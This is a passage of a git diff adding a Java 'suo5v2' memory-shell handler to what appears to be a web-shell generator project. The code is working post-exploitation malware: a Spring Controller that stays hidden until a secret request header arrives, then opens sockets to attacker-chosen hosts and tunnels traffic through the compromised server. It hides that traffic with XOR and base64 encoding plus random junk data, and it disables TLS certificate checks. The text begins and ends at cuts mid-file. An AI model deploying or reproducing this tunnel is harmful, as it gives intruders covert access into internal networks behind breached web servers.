try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(Object request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(Object request, String rUrl, byte[] body) throws Exception { + String method = (String) request.getClass().getMethod("getMethod").invoke(request); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = (Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, (String) request.getClass().getMethod("getHeader", String.class).invoke(request, k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java new file mode 100644 index 00000000..0be42180 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java @@ -0,0 +1,1172 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.mvc.Controller; + +import javax.net.ssl.*; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2ControllerHandler() { + } + + public Suo5v2ControllerHandler(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2ControllerHandler(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + new Suo5v2ControllerHandler().process(request, response); + } + } catch (Exception ignored) { + } + return null; + } + + private void process(ServletRequest request, ServletResponse response) { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = req.getInputStream(); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(req, resp, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(resp); + processFullStream(req, resp, dataMap, tunId); + break; + case 0x02: + setBypassHeader(resp); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + resp.setStatus(403); + + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); + do { + processHalfStream(req, resp, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(resp, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, new String(sidData))); + + do { + processClassic(req, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(HttpServletResponse resp) { + resp.setBufferSize(BUF_SIZE); + resp.setHeader("X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + resp.setHeader("Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.setStatus(403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = req.getInputStream(); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); + + Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = resp.getOutputStream(); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.flushBuffer(); + } + + private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2ControllerHandler(tunId, 1)).start(); + new Thread(new Suo5v2ControllerHandler(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(HttpServletRequest request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + 